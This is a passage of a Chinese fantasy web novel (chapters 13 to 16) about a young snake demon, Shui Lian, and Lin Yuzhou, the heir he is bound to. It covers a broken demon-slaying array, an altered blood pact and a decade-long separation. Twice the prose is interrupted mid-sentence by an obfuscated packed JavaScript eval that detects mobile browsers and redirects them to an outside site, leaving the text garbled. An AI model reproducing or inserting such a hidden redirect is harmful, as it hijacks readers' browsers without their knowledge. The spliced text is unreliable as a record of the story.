见蔺河生要开口,他语速极快道:“并非你口中的‘契’,而是另外一种。他的脊骨被一道流转的妖力锁住了。” 樊声陌顿了顿:“像是一条蛇。” 他看得很清楚,蔺雨洲体内有一道极为强盛的妖力,如同锁链缠绕在脊骨上,并没有伤害他,流转的姿态反而像是守护。 只可惜在除妖阵里,就是催命符了。 樊声陌唏嘘两声,得到即将炼化成功的蛇骨还是让他心情好了不少,见蔺河生如同五雷轰顶,也多言劝了句:“我会尽量让贵公子活着出来。” 但他也心知阵法已成,一个带着大妖妖力的人类,是熬不过阵法烈火焚烧的。 连水涯都已经没什么动静了。 阵法之内,水涟已经看不清蔺雨洲的模样。他软趴趴勾住蔺雨洲的手,听见蔺雨洲痛苦的声音:“我带你……带你出去。” 可蔺雨洲自己也动不了。每向前移动一寸,剧痛与重压就在他身上加大一分。 鲜血顺着伤痕累累的脊背滑落,留下一道标记。标记的间隔从几厘米,逐渐缩短,最后汇成一小汪。 水涟嗅到他身上浓重的血腥气。 蔺雨洲这个讨厌鬼,为什么那么不要命。他在心里想,脑内却闪过蔺雨洲平时无数自在得意的小表情。对着他时,最常见的是有些嚣张的笑容。 笑容逐渐模糊减淡,记忆穿梭,逆流而上,最终停在冰冷的暴雨夜。 暴雨倾盆如注,将周遭植被渲染出暗沉的墨绿色彩。 他的视野自高处逐渐下滑,一只手被另一只手毫不犹豫抓紧,暗紫色的眼眸与浓黑眼瞳对视,刹那间视线穿越时间长河,流转中停留在蔺家老宅的庭院内。 “名字。”那人懒洋洋问。 “……水涟。” “水涟……” 蔺雨洲意识不清地喊他的名字,语无伦次:“没有不想……不想你回来。” 水涟从他的手腕上摔落,发出一声绝望痛苦的哀鸣。 年幼的黑蛇在叫人牙酸的诡异声响中,身躯不断变换膨胀,几乎在顷刻间化作庞然大物,一尾砸烂了阵法一角。 他垂下头颅,将昏迷的蔺雨洲轻轻含入口中。 樊声陌猛地站起身,暗道不好,拼尽全力补上阵法,一抬头,却同水涟那双冰冷阴森的暗紫色眼眸对视,寒意从脚跟蔓延至头皮,脑内登时炸出一片空白。 有道低沉的嗓音在他脑中响起,带着鲜明的厌恶:“是你。” 樊声陌喷出一口鲜血,被无形的气浪彻底击飞,砸在墙上昏死过去。 庞大的黑蛇又一尾重甩,将阵法彻底破坏,便再无力气,吐出蔺雨洲,重新变回原先的身形,彻底失去了意识。 整栋别墅遭受恶战破败不堪,蔺河生正受剜心刺骨之痛,方才黑蛇重击间,他也陷入短暂昏迷,再次睁眼,整栋别墅竟只剩下他一个尚有意识的人。 他一瘸一拐走向残留的阵法中央,匆匆去探蔺雨洲的呼吸。 还活着。 蔺河生骤然呼出一口气,瘫软在地,打电话吩咐助理来收拾残局。 他侧过头,看见倒在一旁的水涟。 水涯不知所踪。 — “咔嚓。” 水涟皱皱眉,在清脆的咔嚓咔嚓里,挣扎着睁开双眼。 陌生的天花板映入眼帘,他动动耳朵,朝声音发出的方向偏过头。 蔺雨洲坐在他旁边,翘着腿啃苹果,一手还在玩手机,噼里啪啦敲字发消息。 水涟眼不见为净,默默把头偏回去。 刚偏回去没几秒,又被一只手贴着面颊掰回来,那人不满道:“你干嘛?看见我那么不爽?” 水涟叹了口气:“你身体好了?” “学学你爹我,身体健壮屁事没有。”蔺雨洲嘚瑟得要命,“我明明感觉自己被火烧了,一出来竟然什么事儿都没有,走大运。” 事情结束后,尚有意识的蔺河生通知助理把别墅里三个人带只水涟这个妖,一起送进蔺家的私人医院。 好在水涟在助理赶到前变成人,不然蔺河生还不知道要怎么善后。 助理到了,他吩咐完就跟着晕了过去。 一伙人全进医院一通检查治疗,基本没受伤的蔺雨洲醒得最早,睁开眼没几分钟已经能自己下地走。 几步走完,已经能倒腾到水涟床边打游戏,打无聊了就开始啃苹果。 水涟又叹了口气,见他这么活泼开朗也懒得评价了。 “反倒是你,”蔺雨洲拿纸巾包住苹果核,手一甩扔进垃圾桶,“叫你不听我的不请假在家,出门倒大霉了吧。” 水涟全身痛得要命。水涯那个神经病几乎是下死手折腾他,后面又被除妖阵折磨,他这会儿醒来,那种全身骨头被掰断,皮肉一寸寸凌迟切割的滋味似乎还残留在身体内。 他实在痛得没精神搭理蔺雨洲,掀了掀眼皮,吩咐蔺雨洲:“坐着别动。” 蔺雨洲“嘿”了一声,活像青天白日撞鬼:“你怎么跟变了个性子似的,还命令起我了。” 水涟睨了他一眼:“坐好,我头晕。” 蔺雨洲终于不在他病床前显摆那双长腿,悻悻坐在椅子上没动。水涟终于能转过头瞧他:“你爸没和你说?” “说什么?” “晚上发生的事。” “他半个小时前醒了,把我叫过去说了点。”蔺雨洲不太情愿地别扭道。 半个小时前,蔺河生从昏迷中苏醒,直接把他叫去谈话。 他原先还不情不愿,见他爸全身缠得和木乃伊一样,也没话讲,安分坐在蔺河生病床前,把水家蔺家的供奉孽缘听了个清楚。 “水涯逃了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274050|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他死了还好说,但他没死。”水涟听他说已经清楚前因后果,便开口道,“蔺家和水家的‘契’,主要在两家主枝后代身上。水涯没死,你爸违誓背叛他,必得报应。” 那报应甚至还会牵连到蔺雨洲身上。 “你怎么知道那么多了。” 蔺雨洲抱臂坐在椅子上,朝他抬抬下巴。 水涟没看他,平淡道:“稍微想起来了一点东西。” 他的身形还是八九岁孩童的模样,可言语口吻却与蔺雨洲先前相处的那个幼稚小文盲间,有天差地别。 蔺雨洲稍微有点不爽:“想起来什么了?” “我母亲怎么死的,水倩想让我做什么,我来自哪里。”水涟平静说,“你还想问什么?” “我问什么你都给我回答?”蔺雨洲拖动椅子,挪动到水涟病床边,垮着一张脸问。 “你想多了。”水涟的视野被他英俊的面孔强制填满,扯扯嘴角道。 他记忆恢复后和蔺雨洲说话,终于能和蔺雨洲打得有来有回,甚至还能隐隐压人一头,简直是被“欺压”大半个月后的大胜利。 蔺雨洲忍了会,不断在心里暗示自己水涟这是突逢变故,妖生都来个天翻地覆,他作为他养父,还是要多体谅年幼小蛇妖的。 他把那股不爽快全部压回去,咬牙切齿问水涟:“那你接下来要怎么办?” 这场针对他和水涯的杀局毕竟是蔺河生筹谋的,水涯甚至还逃了,水涟接下来要去哪里? 水家他暂且回不去,蔺家他难道就放心待着吗? 水涟在被子下的手轻轻勾了勾,妖力稀薄到近乎没有。 水倩留给他的玉坠已经完全同他融合,那些被水倩抹去的记忆自然而然重新回到他身体里。 那枚玉坠是水倩的一枚蛇鳞,一旦某天水涟突然觉醒有了庞大妖力,甚至能运用自如,这枚蛇鳞会融入水涟的身体内,所有的记忆职责都会回到他身上,让他踏上复仇之路。 倘若水涟这辈子都没有妖力,那玉坠也只会是简单的玉坠,为他隐藏气息,让他混入人群内,平凡度过一生。 但水倩大抵没想到过,水涟只拥有了一瞬庞大的妖力,紧跟着就消失得干干净净,连带让水涟也陷入尴尬的境地。 水涟没有将那些记忆责任对蔺雨洲说出口,反而同他道:“水涯没死,你还要上坛,先想想你自己怎么办。” 血腥残暴的献祭过程蔺河生自然和蔺雨洲说过。 蔺雨洲被水涟这番话堵回去,突然陷入了沉默。 “怕死?”水涟等大半天没听见他的回答,终于扭过头去看他。 蔺雨洲面无表情瞧他,冷笑两声:“不怕就奇怪了吧?” 他平时再怎么发癫,搞行为艺术,毕竟也才十七,还没在人间活多少年,怕死在情理之中。 “怕死还那么横跑来救我?” 水涟挣扎着坐起身,蔺雨洲也懒得坐那儿当大爷,上前一步扶他起来,把枕头往他身后一垫:“就是想救,不行啊?” 蛇妖定定盯住他瞧,半晌沉默后,才用沙哑的声音道:“没必要。” 蔺雨洲眉心一跳,少爷脾气终于憋不住:“你什么意思?水涟你非要和我吵架是吧?” 昨天早上那顿吵还没个结果呢! 水涟牙关咬得咔咔响,深呼吸几个来回,蔺雨洲还在叨叨,气得再也稳不住那张深沉的皮,扯着破锣嗓子喊:“你是不是脑子有病嫌自己命太长?我要你救了吗!” 蔺雨洲怒火中烧,瞪着水涟,讥讽道:“就那破祭品的命,我还有几天可活?” 水涟猛地抓紧被子,苍白的面容紧绷,眼眶发红,一句话也说不出来。 “蔺雨洲,你先出去。”病房门口,蔺河生不知何时来了。 他看向水涟,沉声开口:“我有事和水涟谈。” 14. 第 14 章 日光穿透浅白窗帘投进病房,安静掠过微尘,浅浅映亮水涟半边侧脸。 他抬眼看向蔺河生,模糊的光影里,那双妖异的暗紫色眼眸却透出几分怜悯:“你快死了。” “我知道。” 寂静过后,蔺河生轻声说:“从决定这么做开始,我就有预料。” 水涯并不好对付,计划被发现甚至失败,他要承担什么结果,全都一清二楚。 “但蔺雨洲才十七岁。” 蔺河生是个就算坐在泥地,也会挺直脊背的人。水涟同他对视,却看见他被折磨一夜,因疲倦深陷的眼窝,灰白的鬓角,与微微塌陷的脊梁。 这可能是在外雷厉风行的蔺氏当家人,为数不多的脆弱时刻。 “棋差一着,我没把他看好。”蔺河生僵硬地抹了把脸,下意识开始复盘整个计划。 “如果他没出现,我和水涯现在应该已经死了。”水涟倒是很认可他的话。蔺雨洲那个不怕死的行径,的确该被关好。 起码现在还能留条命,而不是惶惶等待不知何时到来的死期。 现下蔺河生没几天好活,他又只有十七,完全没到立起来的时间,不止水家,蔺家的豺狼虎豹就能先下手为强,把他拆吃入腹。 “他从小主意就大,做事一股疯劲儿,也不知道像谁。”蔺河生无奈笑了笑,“真把他关起来,我不知道他会干出什么来,只能拐弯抹角支开他。” “我也没想到他会把你看那么重。” 水涟靠在床头,既像在问蔺河生,又像在问自己:“我也不知道他为什么会不计一切冲来救我。” 然而现在说再多都是枉然,水涯未死甚至落跑已是定局,另寻出路才是当前最重要的事。 “我要杀了他,你也要杀了他,我们的目的是一样的。”水涟抓着被褥重重咳了两声,视线飘到远处病房门,思索片刻后,还是抬手,设下微小的隔音结界。 蔺雨洲的性格注定不会乖乖走远,一定会在门口偷听,水涟不想让他知道这些谈话内容。 蔺河生看他的动作就知晓他做了什么,闻言眼睛更是亮了亮。 “时灵时不灵,暂时没法杀了他。”水涟知道他想说什么,“在那个法阵之内,我能感觉到体内有股妖力,但现在基本是空的。” 蔺河生不动声色敛去眼底的失落,很快调整好状态,问道:“我能做什么?” 水涟手肘抵着床铺,歪斜身子,闭目放缓呼吸,捱过一瞬使用妖力的疼痛。 他的人身已经维持得有些勉强,黑色蛇尾探出被褥,尾尖虚弱挂在床沿。 良久后,他才张开毫无血色的唇:“你去佘山,找一个叫佘暮烟的蛇妖。” 蔺河生蹙了蹙眉:“蛇妖?” “佘家水家同出本源,初代化形百年后才分的家。佘暮烟是个活了一千多年的蛇妖,我母亲当年曾帮过他一个小忙,能解决我身体问题的,也只有他了。” 水涟沉思片刻,又道:“他化形之后是男性,行踪莫测,你可能要多费点心。” 蔺家常年和水家打交道,自有一套在妖界穿行的联络网。蔺河生点点头:“这没问题,我派人出去找。” 水涟停下回溯记忆,对蔺河生道:“现在是你的事。” 蔺河生困惑道:“什么?” “‘契’历来在两家主枝后代身上,更明确些,是两家的当家人。”水涟朝他招招手,示意他贴近自己,“水家继任家主有严格的继承仪式,我出生时我母亲就取了我的血,喂契来确定继承。” “水涯杀了我母亲上位,不知道用了什么法子,竟也能完全使用‘契’。”他慢慢道,“所以我看看,能不能解开你和水涯的契。” 能强制更改契约履行的对象,水涟已经懒得去想他这位舅舅用了多少邪术。 他示意蔺河生伸出手,风刃割开蔺河生掌心。 血液渗出,随风盘旋而上,在他与蔺河生之间不断变化,逐渐显出繁复纹样。 蔺家与水家缠绕千年的血契就此显现。 蔺河生是第一次见到体内这枚“契”的本相,尽管痛恨,却也不免为血契的精细复杂感慨:“还真是棘手。” 水涟回来的不止记忆,还有部分能力运用的方法。他长久盯着那枚血契,有些费解:“你家当初是怎么想的,敢和妖签契,还是这种毫无退路的死契。” 人类对财富权柄的贪婪难道真能超越一切恐惧,连后果不去考虑吗? 蔺河生举起的那只手微微发颤,他对上水涟毫不掩饰的难以理解,低声道:“我之前听我祖父说过一点,定契的原因不是求财,而是报恩。” 水涟皱了皱眉,更难理解他们人类的想法:“多大的恩,要拼了命地世代为奴为仆。” 蔺河生张张口,原想再说些什么,到最后还是叹了口气。 水涟也不大想和他讨论这些。他长久注视那枚血契,取了自己的指尖血,融进契之内,尝试对契的内容进行修订。 然而属于他的血珠开始在契内流动时,他的五脏六腑猛地震颤,呛咳下竟逼得他呕出一口血。 蔺河生险些从轮椅上站起来,他的另一只手尴尬停在半空,想扶他,又怕毁了改契的过程,只能皱着眉问:“你怎么样?” 水涟摆摆手:“没事。” 他眼前发黑,全身都不停发抖,尾尖更是凄惨耷拉,蛇鳞毫无光泽,生气全无。 水涟掐住手腕,指使抖动的手继续运转血珠,半晌后,契才慢慢从半空消失。 “我能力有限,只能改动一点,”他收回手,抚过蔺河生的掌心,为他止血,“至少暂时不会死了。” 蔺河生神色复杂地看着他,忽地沉声道:“多谢。” 水涟被蔺雨洲好吃好喝养出来的那点脸颊肉一晚上掉了个干净,过大的眼瞳镶嵌在消瘦的面颊上,看向蔺河生时,眼底的情绪一清二楚。 他摇摇头,嗓音沙哑:“没必要。” 蔺河生朝他颔首,自己推着轮椅往病房外去。开门前,他听见水涟虚弱的声音:“这段时间让蔺雨洲避一避吧。” 他停下轮椅,回过身看向水涟,年幼的蛇妖神情冷淡,看不出任何离别的愁绪。 水涯不知所踪,水家内部一片混乱,正好趁这个时间让蔺雨洲避一避,水涟和蔺河生自顾不暇,实在没法顾及到他。 “送他出去,没问题吗?”蔺河生问道。 水涟只说:“总不能让他 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他滚在冷冰冰的锦绣堆里长大,一遭被丢进火里,烧出满身水泡,方才醒过来锦绣堆是个人为打造的温室脆壳,噼里啪啦碎了个干净。 水涟和蔺河生站在脆壳之外,要他踩着渣子,鲜血淋漓跨过来。 “我知道。”漫长的无声后,蔺雨洲轻声应道。 他重回病房,水涟还靠在床头没动,蔺雨洲知道以他的感知,一定把他和蔺河生的谈话听了个清楚。 “……你要喝水吗?”蔺雨洲坐在椅子上,憋了半天才憋出来这么一句。 水涟已经没力气出声,他点点头,示意自己要喝。 蔺雨洲打开床头的保温杯,给他倒了杯水。递过去前,甚至倒了一滴在手背上,感受温度。 水涟默默看他罕见的细心小动作,尾尖在半空晃了晃,探向蔺雨洲的大腿,一勾一圈,松松缠住了他。 蔺雨洲低头看他的动作,凶巴巴道:“干嘛。” 水涟就他的手喝了口水,抬眼面无表情盯他。 蔺雨洲和他对视陷入僵持,绷一张脸闷声不吭。水涟抽回尾巴,往他大腿上抽了一下,扯着没声的嗓子说:“你好讨厌。” 抽那一下鉴于水涟亏空大半的身体,实在没什么力气,挠痒痒似的。蔺雨洲却从他的动作言语里找到熟悉感,慢悠悠道:“你也没好到哪里去。” 水涟朝他翻了个硕大白眼。 这样就算和好。他们平时就爱吵嘴掐架,冷战闹别扭。 时间太长,彼此都会找个好借口充当台阶,蔺雨洲喜欢问水涟想吃什么,水涟喜欢拿尾巴勾人,尾尖一甩,轻轻圈住蔺雨洲的腿。 小动作都是别扭的“我原谅你了”。 “你继续留在蔺家吧。”蔺雨洲把水涟手里的水杯放回床头柜,到嘴边的问话临时又换成命令。 虽说是命令,可他的语气却比往常多了几分不确定。 水涟没说也许他们会有很长时间见不到面,只是点了点头。 他们不再言语。蔺雨洲低下头,去碰水涟的尾巴。他的指尖轻抚过温凉的蛇鳞,直到尾尖缠绕他,圈住了他的小拇指。 就像拉钩。 15.第 15 章 “我都要走了,你也不送送我?” 蔺雨洲跨过满地行李,啪一声推开水涟的房门,不大高兴道。 水涟正在埋头补作业。 他自从被水涯抓走,又在樊声陌的除妖阵里走了一遭,就一直在重伤状态,化原形休养了两个月才将将把气血养回来。 这也导致他缺了两个月的课程,这会儿正在拼命补作业。 蛇妖又怎么样,水家少主又怎么样,上人类的学校照样要乖乖写数学题。 他合上语文习题册,打开数学的口算本和课堂作业本,一边心算一边头也不抬回答他:“你不是明天下午的飞机吗?” 蔺雨洲一屁股坐在他的床上,翘腿打量写作业的他,不太满意:“没有别的要说了?” 水涟终于从漫天的数学题里飞出一个宝贵眼神:“你想听我说什么?” 他这两个月好好休养,又经过蔺家精细照料,迅速脱胎换骨,从之前可怜巴巴的豆芽菜长成为有点小茁壮的树苗,面颊都红润了点。 甚至还迎来了一次久违的蜕皮。 那大概是半个月前的事情。 他前一天晚上就化原形四处找地方□□吻部,第二天早上更是连早餐都没吃,蔺雨洲心生疑惑,大大咧咧闯入他的房间,才发现他在艰难给自己蜕皮。 蔺雨洲打游戏练出来高效灵活前肢成功辅助了水涟这条幼蛇进行蜕皮,事后得意了整整三天,甚至还拿走了水涟的蛇蜕。 水涟觉得他有点恶心,毕竟是他蜕下来的死皮。 蔺雨洲别出心裁认为这是他送给自己的礼物,专门找人取了点蛇蜕做成了项链挂脖子上,剩下的做成标本放床头柜欣赏了。 蜕完皮的水涟不仅人身个儿窜高了点,原身更是粗了一圈,身躯显得更加有力。 “你就不能朝我展开怀抱然后说爹我一定会每时每刻都把你挂在心上不然我数学题都会写不下去而且你一定要早点结束受苦赶紧回来我的身边这种话吗?” 蔺雨洲长难句起手,一口气不停讲完,自我陶醉结束一抬眼,水涟手里的铅笔啪一声掉在桌上,目瞪口呆看着他,眼底写着难以置信四个大字。 水涟默默捡回铅笔,很虔诚认真开口:“医生真的没有给你开药吗?” 蔺雨洲:“……” “不讲算了。”他的嘴角不自觉向下撇了撇,悻悻然从鼻腔里挤出一声嘟囔。 水涟顿了顿,跳下座椅,走到他面前:“手。” “干嘛。”蔺雨洲没好气,还是朝水涟摊开两只手,掌心朝上五指大张,十分大方。 水涟默不作声拍掉他的右手,捏住他的左手无名指:“取血,忍着。” 蔺雨洲还没问出来,他的无名指指尖就被水涟割了个小口,倒吸一口冷气。 水涟抬抬眼皮瞧他,挤出三滴血珠,匀点功夫敷衍安慰他:“等会儿就不疼了。” 闯法阵那会儿那么不要命,全身是伤,一身痛不喊,这会儿又知道疼。 三滴血珠分离成三角之态,在蔺雨洲掌心上方旋转,水涟捏住他的手没松,手抚上自己的颈侧,咬牙取了枚蛇鳞下来,混入那三滴血珠之中。 蔺雨洲这会儿不敢多话了,听水涟口中低沉的念咒,眼睁睁看着那枚蛇鳞在鲜血缠绕下变得艳红,紧跟着直接飞入他的心口。 “好了。” 水涟抚过颈侧拔鳞后的伤口,又轻轻摸过蔺雨洲受伤的无名指,伤口上顿时覆了层膜,彻底止住血。 “刚刚那是什么?”蔺雨洲还是第一次见到水涟动用属于妖的力量,好奇问道。 水涟已经坐回位置写数学题,他轻描淡写道:“让你遇上死劫时保一条命的东西。” 蔺雨洲蹭地站起身,震惊盯着他:“真假?” “真的。”水涟抬起头和他对视,“不过我能力有限,只能保住一条命,毫发无伤不可能。” 他翻翻还有十页的数学习题,开始赶客:“我要写作业了,别打扰我。” “不用我帮你辅导?”蔺雨洲隔着卫衣摸摸心口,总觉得那块暖融融。他单手撑在书桌边,问水涟:“我帮你写?” “不要,你上次都做错了。” 水涟毫不留情道。 蔺雨洲站在他旁边无能狂怒,实在气不过,手按在水涟的妹妹头上,拼命把他揉成鸡窝。 “蔺雨洲,你好讨厌。”水涟扯开他的手,睁大眼瞪他。蔺雨洲笑得心满意足,得意猖狂地走人了。 水涟低头整理头发,视线却情不自禁移到他的背影上。 整理头发的动作逐渐慢了下来。 微弱凉风吹过窗帘一角,掠过他的发梢,属于另一个人掌心的温度缓缓褪去。 水涟低下头,繁多的数字仿佛也跟着风摇摆起来。他看了眼时间,不大高兴地合上了作业本。 — 真到了蔺雨洲出国的时间,水涟只是站在老宅门口目送他。 收拾行李自有人做,蔺雨洲懒得听蔺河生的长篇大论,挪步到水涟旁边:“不陪我?” 水涟仰起头去看他:“你又不是不回来。” 原先的意思是送蔺雨洲出去避避风头,但蔺雨洲和蔺河生谈过后,不知怎的改了意见,索性决定出国读书。 蔺家在海外也有产业,他就当顺便去历练。 蔺雨洲低头看他两个犟种发旋,忽地两手穿过他的腋下,直接把他抱了起来。 水涟没有像第一次被他抱那样不停反抗,这次倒是安分待在他怀里,只不过身体僵硬依旧。 “我回来你要是把我忘了你就死定了。”蔺雨洲凶巴巴放狠话,水涟定定注视他,忽然伸出双手,对准他的脸颊,用力掐了下去。 他被掐了好多回,趁蔺雨洲腾不开手,终于有机会报复他了。 蔺雨洲又不能真松手把他丢地上,只能拼命睁大眼威胁他,被水涟选择性忽视。 蔺河生在旁边咳了两声,示意时间差不多,都别闹了。 水涟扭动两下,从蔺雨洲的怀里跳下去,迅速躲到了蔺河生身后,避免被蔺雨洲掐脸。 蔺雨洲顶着两边脸颊的红痕咬牙切齿,学平时水涟骂他的口吻:“水涟,你好讨厌。” 水涟看得很开:“没关系,你也很讨厌,扯平了。” 东西全都收拾好,蔺雨洲决定大度原谅水涟掐他脸的举动,拉开车门上车,降下车窗朝水涟潇洒摆摆手:“走了。” 年幼的蛇妖只是用暗紫色的眼珠静静注视他,目光平和稳定。 车辆启动驶离,直到连一点小黑影都看不清,水涟才后知后觉反应过来,以后没有人和他一起上下学了。 蔺河生送走亲儿子,脸上也难得多出点怅然来。 他站在水涟旁边,竟也多讲了几句:“他其实不大爱一个人待着,总嫌太安静太无聊,但又不喜欢太安静,难伺候的要命,不知道出去会怎么样。” 水涟仰起头,看见他蹙起的眉心,轻声说:“他不会吃亏的。” 那张嘴那个性子,蔺雨洲能吃到亏就见鬼了,蔺河生要考虑的反而是,蔺雨洲闯祸了怎么办。 蔺河生无奈笑道:“也是。” 他收敛神色,半蹲在水涟面前,和他视线持平道:“关于佘暮烟,我的人传了点消息回来。他去了一个叫阴炽谷的地方,但这之后我就再没收到任何关于他的线索。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283932|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水涟听见“阴炽谷”这三个字愣了愣,过了半晌才从庞大繁杂的记忆里找到点印象。 阴炽谷内镇压千万妖魔,亡魂无数,人类和现世的普通妖物踏进去就是一个死。 “等他从阴炽谷里出来吧,让他们不要再深入去查,会没命。”水涟道。 蔺河生应了声,又道:“樊家那个除妖师,好像对你很感兴趣。” 提及樊声陌,他有些微妙的情绪。 请他除水涯也是他多方选择后的结果,没想到樊声陌一个都没除成功,到最后还莫名其妙受重伤。这几天才醒来,能勉强下床走动,就马不停蹄联系他水涟的下落。 那天法阵内发生了什么没人能说的清楚,他和蔺雨洲都昏过去,水涟模模糊糊,樊声陌则只顾着用狂热态度形容水涟拿来炼制法器有多珍贵。 水涟其实不大记得起那个除妖师的长相,只记得那人烧火降雷很熟练。 以蔺河生做事周全的程度,他应当拿着蔺家和水家的契找过诸多能人异士,期望有谁能解开,但全都失败了,才会铤而走险杀水涯。 水涟清楚这点,于是抬眼望他:“他感兴趣也没用,我在蔺家,还不至于被他杀了。” 蔺河生知道他话里潜台词,点点头:“他毕竟还是人。既然是人,让你避开他就不是难事。” 他和水涟谈完,就离开去公司工作了。 水涟站在庭院吹了会儿风,第一次决定细致观察蔺家老宅。 佣人站在他身后,轻声问需不需要陪同,他摇摇头,道:“我自己逛逛。” 于是佣人很有眼色离开,只剩萧索冷风陪伴在他身侧。 他和蔺雨洲初次见面时已经十月份,如今两三个月过去,早就入冬,没有刮人大耳光的暴雨,只有刮人耳光的冷风。 蔺雨洲这次走的急,好在勉强能拨点时间和他们提前把新年过了。 水涟还收了他的新年礼物,一沓辅导书。 送完他自己也没绷住,又叫人给水涟打了个长命锁,重量差点没把水涟那细伶伶的脖子压折。 那玩意儿被水涟收在抽屉里没动弹。 蔺雨洲的关怀一直这么鸡零狗碎,无论何时何地,想到什么就送什么,他人就算在国外,照样能让他的关怀远渡重洋。 水涟从小到大就没收过礼物,对他鸡零狗碎式的关怀反而很受用。 又有冷风刮过,他拢好衣服,绕进水榭回廊,听见枝叶簌簌作响。 水涟仰起头,见那枯黄的叶飘落,滑过结层薄冰的池塘。一阵风起,落叶在逐渐融化的冰层裂纹里沉入水中,被锦鲤顶出水面,湿润的碧绿。 回廊曲折蜿蜒,他的步伐在落叶色彩交替间拉长,视野也越发挺拔开阔,不必再仰起头去看飘落的叶。 一年又一年,新绿上枝头,少年蛇妖终于走到回廊尽处,他穿过月洞门,在茶室停下。 蔺河生眼角又添细纹,朝他颔首:“你来了。” 水涟跪坐在他身前,视线扫过桌面,取过盖碗:“佘暮烟还没从阴炽谷出来?” “没有。”蔺河生摇摇头,有些遗憾似的道:“妖的生命竟然漫长到,愿意花费近十年的时间停留在那儿。” 水涟轻抬薄薄的眼皮,那双妖异的暗紫眼瞳流转出温润宁静的光彩。 他心如止水开口:“你们人类也是如此。” 在耗费时间这件事上,人与妖并没有任何区别。 蔺河生轻笑两声,意有所指:“他今年就回来了。” 水涟摇香动作未停,手腕轻转,已将茶斟入杯中,端至蔺河生面前。 “喝茶。” 少年蛇妖语气冷淡道。 16.第 16 章 自从佘暮烟进入阴炽谷后,水涟就做了二手准备。 他没办法完全把自己的问题尽数交给另一方解决,便自己也同时开始研究。 水倩留给他的记忆实在太多,有些部分甚至是水澜留给他的。 这些记忆就像庞大资料库,一股脑灌输给他,希望他有朝一日能尽数掌控。 蔺雨洲在国外一改纨绔作风,忙于读书实习时,他也没有闲下来,一直在消化这些资料。 不断钻研的过程里,他的力量终于不局限于小打小闹,单独对抗水涯胜算又大了几分。 水涯狡诈阴险,受过重伤后更是如同惊弓之鸟,连以往不曾有的好耐性都硬生生养出来几分,踪迹竟然比佘暮烟还难追寻。 这也让他和水涟之间达成诡异的平衡,谁也没有率先轻举妄动,水涟得以在平衡里飞速成长。 他莫名其妙的饥饿感问题仍旧没有解决,但有了可以对抗水涯的能力,饥饿感的问题可以暂时放在一边不去管。 这份能力也让他有底气对蔺河生说,让蔺雨洲提前回来。 当然他的原话并没有那么直白,而是换了格外矜持的说法:“我能力恢复差不多,你可以放心了。” 水涟是个除了蔺雨洲那个呆子读不出他的情绪,其他人都能感觉出来的家伙,蔺河生何等人精,和他相处几年,早把他性格摸了个透彻。 他听完后立马明白这是儿子能回国的意思。正好他也想蔺雨洲,便叫蔺雨洲早些回来。 消息远渡重洋传到蔺雨洲耳中,只送回来一句我迟点回去。 蔺雨洲原先出国不情不愿,落地修整后立马给水涟打视频,有时候甚至能一天都挂着。 水涟捏着鼻子,和他隔时差做自己的事儿,有时甚至还在恍惚蔺雨洲这家伙是不是根本没出国,不然怎么做到折腾他一如既往。 就这么联系下来,某一段时间后,蔺雨洲和他的聊天频次忽然降低了。 纨绔的蔺大少爷彻底收心,按部就班读书,再到后来进入蔺家海外集团实习,成日里加班。 他整日奔波忙碌,忙到脚跟打后脑勺,竟然也不愿提前回去。 水涟便也早忘记自己说过的、那番十分矜持隐晦的“早点回来”。 他忙于研究水家,研究妖力,研究佘暮烟和水涯的行踪,还要专心致志蜕皮,并没有多少时间花在期待上。 于是又是一年。 — 第十年初夏,水涟从蔺河生口中得知蔺大少爷“流放”满十年,终于要带着积攒的工作经验回国发发展的消息。 他只当自己没听见,随意将茶杯放在一侧。 “他前几日,还在问我,你有没有生气。”蔺河生又慢悠悠道。 水涟依旧不言语,只是又默默泡了茶,将头茶汤直接往他茶杯中倒满。 蔺河生瞧那快满溢出来的茶,缩回手,补上最后一句:“那他回来航班——” “啪。” 水涟一把撂了茶杯,冷冰冰道:“什么时候回来不用和我说。” 他站起身,不大想和蔺河生继续谈下去:“他回不回的,我又不是飞机。” 蔺河生握拳抵在唇上,背过身,肩膀一耸一耸。 水涟回头睨了他一眼,薄唇微启:“果真是有其父必有其子。” 蔺河生端看是个严肃正经的人,不过肩上无重担的时候,也能说几句俏皮话作弄人。 水涟顶烦他闲着没事干就来打趣他的行径,和蔺雨洲嘴欠时候一模一样。 蔺雨洲那死毛病绝对从他这遗传,只是个人成长过程发展出加强版。 “仅此一回,再无别话了。”蔺河生笑够了摆摆手,板回一张脸。 水涟斜乜他,这才踱步离开茶室。 蔺雨洲要回国这事儿打扰不了他,顶多叫他课业批红一大片,研究资料时看错页码,夜间睡眠多思多虑罢了。 又一夜失眠后,水涟略带躁意坐起身,大半夜肩头披了件外衣,下楼坐庭院里看一晚上夜景。 黎明破晓时分,才有点困意,慢慢晃回房间睡觉去了。 他这一觉直到下午才醒,窗外大雨连绵,雨丝在玻璃窗户上撞碎,水迹蜿蜒,微微闪烁光点。 水涟揉了揉眼,蛇尾轻摆游下床,打开衣柜,换了件玄色长衫。 随着他身躯的生长,以往穿着裤子就变蛇尾的情形不复存在,水涟也更偏好长衫长袍。 蔺家老宅的佣人都是蔺河生精挑细选,对他是个妖已然不会大惊小怪,连初见到他就惊慌失措要晕倒的老管家,现下都能说出“这衣服颜色衬您尾巴”的话。 